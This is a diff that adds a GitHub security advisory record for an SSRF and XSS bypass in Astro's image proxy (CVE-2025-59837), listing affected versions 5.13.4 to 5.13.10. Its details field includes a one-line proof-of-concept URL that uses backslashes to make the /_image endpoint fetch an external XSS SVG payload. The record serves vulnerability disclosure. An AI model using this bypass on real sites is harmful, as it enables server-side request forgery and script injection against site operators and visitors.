Publish GHSA-qcpr-679q-rhm2

Author: advisory-database[bot]

advisories/github-reviewed/2025/10/GHSA-qcpr-679q-rhm2/GHSA-qcpr-679q-rhm2.json

@@ -0,0 +1,53 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-qcpr-679q-rhm2",
+  "modified": "2025-10-28T17:45:05Z",
+  "published": "2025-10-28T17:45:04Z",
+  "aliases": [
+    "CVE-2025-59837"
+  ],
+  "summary": "Astro's bypass of image proxy domain validation leads to SSRF and potential XSS",
+  "details": "### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)",
+  "severity": [],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "astro"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "5.13.4"
+            },
+            {
+              "fixed": "5.13.10"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/withastro/astro"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-79",
+      "CWE-918"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-10-28T17:45:04Z",
+    "nvd_published_at": null
+  }
+}